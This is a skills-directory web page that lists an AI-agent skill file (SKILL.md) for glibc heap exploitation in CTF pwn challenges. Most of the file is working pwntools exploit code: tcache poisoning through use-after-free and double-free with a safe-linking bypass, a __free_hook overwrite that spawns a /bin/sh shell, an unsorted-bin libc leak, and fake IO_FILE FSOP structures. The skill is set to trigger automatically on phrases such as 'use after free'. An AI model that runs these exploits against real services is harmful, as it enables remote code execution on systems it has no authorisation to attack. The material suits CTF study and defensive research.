Skip to content
Back to skills

Heap Exploit

ASecurity

Glibc heap exploitation — tcache poisoning, unsorted bin leak, IO_FILE FSOP

  • 4 stars
  • 0 votes
  • 0 copies
  • 5 views
  • Added September 8, 2026
ai-agentspythonrustgobashdockergit

Security analysis

A100/100

Scanned September 8, 2026

npx -y skills add MustafaKemal0146/fetih --skill heap-exploit --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Heap Exploit?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Heap Exploit
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/mustafakemal0146-heap-exploit/badge)](https://www.skillsdirectory.com/skills/mustafakemal0146-heap-exploit)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: heap-exploit
description: Glibc heap exploitation — tcache poisoning, unsorted bin leak, IO_FILE FSOP
tags: [ctf, pwn, heap, tcache, unsorted-bin, io-file, fsop, glibc, libc-leak]
triggers:
  - "heap challenge"
  - "malloc free"
  - "tcache"
  - "use after free"
  - "double free"
  - "unsorted bin"
  - "glibc 2.35"
  - "IO_wfile_jumps"
difficulty: hard
category: pwn
solved_challenges:
  - "picoCTF 2024 - high-frequency-troubles (tcache + IO_FILE FSOP, glibc 2.35)"
  - "PlaidCTF 2023 - baby heap (Rust/Wine, vector layout overwrite)"
adapted_for: fetih
---

# Heap Exploitation — Glibc

## Heap Primitives (Chunk Layout ve Bin'ler)

### Chunk Yapısı (64-bit glibc)

```
  chunk   → ┌──────────────────────┐
             │  prev_size (8 byte)  │  ← önceki chunk serbest ise aktif
             │  size | flags (8 b)  │  ← P=prev_in_use, M=mmap, A=non-main
  mem     → ├──────────────────────┤
             │  fd pointer (8 byte) │  ← serbest chunk: bin'e bağlı
             │  bk pointer (8 byte) │
             │  ...kullanıcı veri...│
  nextchunk→ └──────────────────────┘
```

Minimum chunk boyutu: **32 byte** (glibc 64-bit).
Chunk boyutu her zaman **16'nın katı** olmalı.

### Bin Türleri

| Bin        | Boyut (64-bit)    | glibc versiyonu | Not                         |
|------------|-------------------|-----------------|-----------------------------|
| tcache     | 0x20 – 0x410      | >= 2.26         | per-thread, 7 adet limit    |
| fastbin    | 0x20 – 0x80       | hep             | LIFO, single-linked         |
| smallbin   | 0x20 – 0x3f0      | hep             | double-linked               |
| largebin   | >= 0x400          | hep             | double-linked + size list   |
| unsortedbin| herhangi          | hep             | libc içi buffer, büyük leak |

---

## Tcache Poisoning Şablonu

glibc 2.32+ sürümünde tcache fd pointer'ı **XOR şifreli** (safe-linking):

```
fd_stored = fd_real ^ (chunk_addr >> 12)
```

Bunu bypass etmek için heap adresini bilmen gerekir.

```python
#!/usr/bin/env python3
# tcache_poison.py — Use-After-Free / Double-Free ile tcache poisoning

from pwn import *

BINARY = "./vuln"
LIBC   = "./libc.so.6"

context.binary = elf  = ELF(BINARY)
libc = ELF(LIBC)
context.log_level = "info"

def start():
    if args.REMOTE:
        return remote("chall.ctf.site", 1337)
    return process(BINARY)

io = start()

# ── Menü yardımcı fonksiyonlar ───────────────────────────────────────────────
def alloc(size, data=b"A"):
    io.sendlineafter(b"choice: ", b"1")
    io.sendlineafter(b"size: ", str(size).encode())
    io.sendafter(b"data: ", data)

def free(idx):
    io.sendlineafter(b"choice: ", b"2")
    io.sendlineafter(b"index: ", str(idx).encode())

def show(idx):
    io.sendlineafter(b"choice: ", b"3")
    io.sendlineafter(b"index: ", str(idx).encode())
    return io.recvline()

# ── Aşama 1: Heap Adresi Leak (glibc >= 2.32 için gerekli) ──────────────────
# tcache fd = (next_chunk_addr >> 12) ^ chunk_addr
# İlk serbest chunk fd'si: 0 ^ (heap >> 12) = heap >> 12

alloc(0x30, b"AAAA")   # chunk 0
free(0)                 # tcache'e at

# UAF varsa chunk 0'ı hala okuyabiliriz
raw = show(0)
heap_leak = u64(raw[:8].ljust(8, b"\x00"))
heap_base  = heap_leak << 12   # safe-linking decode
log.success(f"heap base = {hex(heap_base)}")

# ── Aşama 2: Libc Leak (unsorted bin üzerinden) ──────────────────────────────
# Tcache + fastbin dolu değilse büyük chunk unsorted bin'e gider

alloc(0x420, b"B" * 8)  # büyük chunk (tcache'e gitmesin, 0x410 üstü)
alloc(0x30,  b"guard")  # alt chunk — top chunk ile birleşmesin
free(1)                  # unsorted bin'e gider

raw2 = show(1)           # fd = unsorted bin başı = main_arena + offset
arena_leak = u64(raw2[:8].ljust(8, b"\x00"))
libc.address = arena_leak - libc.sym["main_arena"] - 96
log.success(f"libc base = {hex(libc.address)}")

# ── Aşama 3: __free_hook veya __malloc_hook Overwrite (glibc < 2.34) ────────
# glibc 2.34+ hook'lar kaldırıldı → IO_FILE FSOP kullan (aşağıya bak)

free_hook = libc.sym["__free_hook"]
system    = libc.sym["system"]

# Poisoned chunk: tcache fd'yi __free_hook'a yönlendir
# glibc 2.32+ safe-linking: fd = (heap >> 12) ^ target
def safe_link(heap_addr, target):
    return (heap_addr >> 12) ^ target

alloc(0x30, b"C" * 8)   # chunk 3
alloc(0x30, b"D" * 8)   # chunk 4

free(4)
free(3)   # tcache: 3 → 4 → NULL

# Chunk 3 UAF: fd'yi __free_hook'a yönlendir
corrupted_fd = safe_link(heap_base + 0x????, free_hook)  # heap_base + chunk 3 offset
# show(3) ile chunk 3 adresini öğren, sonra hesapla

io.sendlineafter(b"choice: ", b"4")   # edit / write primitive varsa
io.sendlineafter(b"index: ", b"3")
io.send(p64(corrupted_fd))

# Şimdi iki kez alloc et — ikincisi __free_hook bölgesine düşer
alloc(0x30, b"/bin/sh\x00")   # chunk 3'ü al
alloc(0x30, p64(system))      # __free_hook = system

# free("/bin/sh") → system("/bin/sh")
free(3 + 1)   # "/bin/sh" içeren chunk'ı serbest bırak

io.interactive()
```

---

## Unsorted Bin Libc Leak

```python
# Tek seferlik leak — UAF ile okuma primitive gerekli

# 1) 0x420+ boyutlu chunk ayır (tcache sınırı aşsın)
alloc(0x420)       # chunk A

# 2) Alt guard chunk ayır (top chunk ile birleşmesin)
alloc(0x30)        # chunk B (guard)

# 3) chunk A'yı serbest bırak → unsorted bin'e gider
free(0)            # chunk A → fd/bk = main_arena + 0x60 (ya da offset)

# 4) UAF ile chunk A'nın fd'sini oku
data = show(0)
arena_ptr = u64(data[:8].ljust(8, b"\x00"))

# 5) Offset'i bul
# gdb ile: p &main_arena, leaked değerden çıkar
ARENA_OFFSET = 0x1ecbe0   # glibc 2.35 örnek — versiyon bağlı!
libc.address = arena_ptr - ARENA_OFFSET
log.success(f"libc base = {hex(libc.address)}")
```

---

## IO_FILE FSOP — picoCTF hft Örneği (glibc 2.35)

glibc 2.34+ `__malloc_hook` / `__free_hook` kaldırıldı.
Alternatif: `_IO_FILE` yapısını taklit et, `_IO_flush_all_lockp` tetiklenince
`vtable->__overflow` üzerinden RIP kontrolü al.

### Sahte IO_FILE Yapısı

```python
# glibc 2.35 IO_FILE FSOP — stdout overwrite
# Kaynak: roderick01's House of Apple 2

FSOP_OFFSET = 0   # _IO_list_all - libc.address

def craft_fake_file(libc, rdi_val, rsi_val, rdx_val, func_ptr):
    """
    _IO_flush_all_lockp yolu:
    _IO_wfile_overflow → _IO_wdoallocbuf → _IO_WDOALLOCATE
    vtable = _IO_wfile_jumps - 0x18 + bazı magic
    """
    IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
    setcontext     = libc.sym["setcontext"] + 61   # setcontext+61: rdi→rdx, jmp [rdx+0xa0]

    fake = flat({
        0x00: 0,                          # _flags (özel değer gerekebilir)
        0x28: 1,                          # _IO_write_ptr > _IO_write_base
        0x30: 0,                          # _IO_write_base
        0x38: rdi_val,                    # _IO_buf_base → rdi olarak geçer
        0xa0: func_ptr,                   # setcontext+61 için jump adresi
        0xc0: 0,                          # _mode = 0
        0xd8: IO_wfile_jumps - 0x18,     # vtable (magic offset)
        0xe0: rsi_val,                    # wide_data başı
        0xe8: rdx_val,
    }, length=0x100, filler=b"\x00")

    return fake

# Kullanım — stdout'u overwrite et:
stdout    = libc.sym["_IO_2_1_stdout_"]
fake_file = craft_fake_file(libc, next(libc.search(b"/bin/sh")), 0, 0, libc.sym["system"])

# Heap'teki write primitive ile stdout bölgesini yaz
# ...
```

### Basit FSOP Şablonu (stdout flag trick)

```python
# _IO_2_1_stdout_ flags alanını düzenle → fileno'yu oku → libc leak

stdout_addr = libc.sym["_IO_2_1_stdout_"]

# flags = 0xfbad1800 (okuma modu açık)
# _IO_write_base küçültülünce flush tetiklenir ve bellek sızar

fake_flags = 0xfbad1800
writes = {
    stdout_addr       : fake_flags,
    stdout_addr + 0x20: stdout_addr + 0x80,  # _IO_write_base = _IO_buf_base
    stdout_addr + 0x28: stdout_addr + 0x80,  # _IO_write_ptr
}

# Bu yazma sonrası next flush → libc adresleri stdout'a basılır
```

---

## pwntools Heap Debug Yardımcıları

```python
# pwndbg ile heap durumunu gör:
# (gdb) heap         → tüm chunk'lar
# (gdb) bins         → bin durumu
# (gdb) tcache       → tcache perthread yapısı
# (gdb) vis_heap_chunks → görsel chunk haritası

# pwntools ile malloc_chunk parse:
from pwn import *
libc = ELF("./libc.so.6")

# Heap adresini leak ettikten sonra chunk içeriğini oku:
def read_chunk(io, addr, size=0x40):
    # memory read primitive gerekli
    pass

# GDB attach (local debug):
if args.GDB:
    gdb.attach(io, gdbscript="""
        break *0x401234
        heap
        bins
        continue
    """)
```

---

## glibc Versiyon Tespiti

```bash
# 1) Sunucudaki libc'yi öğren
libc --version   # bağlantı varsa

# 2) ldd ile
ldd ./vuln
# linux-vdso.so.1 => ...
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6

# 3) strings ile
strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GNU C Library"
# GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release

# 4) Libc'yi uzak sunucudan çek (binary'de yüklü ise):
# patchelf --print-needed ./vuln → gereken libc adını gösterir

# 5) Online araç: libc.blukat.me
# Birden fazla sembol offset'i gir → libc versiyonunu bul
```

### Patchelf ile Yerel Libc Kullan

```bash
# Belirli bir libc ile çalıştır (docker imajından çekilen)
patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./vuln
patchelf --set-rpath . ./vuln
./vuln   # artık yerel libc.so.6 ve ld kullanır
```

---

## Yaygın Tuzaklar

### 1. Guard Chunk Unutmak
```python
# Büyük chunk free edince top_chunk ile birleşmemeli
alloc(0x420, b"leak chunk")
alloc(0x30, b"GUARD")    # bu olmadan unsorted bin'e gitmez, top_chunk'a katılır
free(0)
```

### 2. Tcache Sayacı (glibc >= 2.26)
Her boyut için tcache'de max 7 chunk var. 8. free → unsorted/fastbin'e gider.

```python
# Tcache'i doldur, 8. free unsorted bin'e gitsin:
for _ in range(7):
    alloc(0x30)
for i in range(7):
    free(i)
# Şimdi 8. chunk free → fastbin veya unsorted bin (boyuta göre)
```

### 3. Safe-Linking (glibc >= 2.32)
Tcache fd/bk XOR şifreli. Heap leak olmadan poisoning çalışmaz.
Heap adresini UAF ile sızdır, sonra `(addr >> 12) ^ target` hesapla.

### 4. glibc 2.34+ Hook'lar Yok
`__malloc_hook`, `__free_hook`, `__realloc_hook` kaldırıldı.
Alternatifler:
- **IO_FILE FSOP** (House of Apple, House of Cat)
- **exit_funcs** overwrite (setjmp/longjmp tablosu)
- **stack pivot + ROP** (setcontext gadget)

<!--
  ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
  Yetkisiz kullanim/kopyalama tespit edilebilir.
  hash: 85a65cfd16586727
-->

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.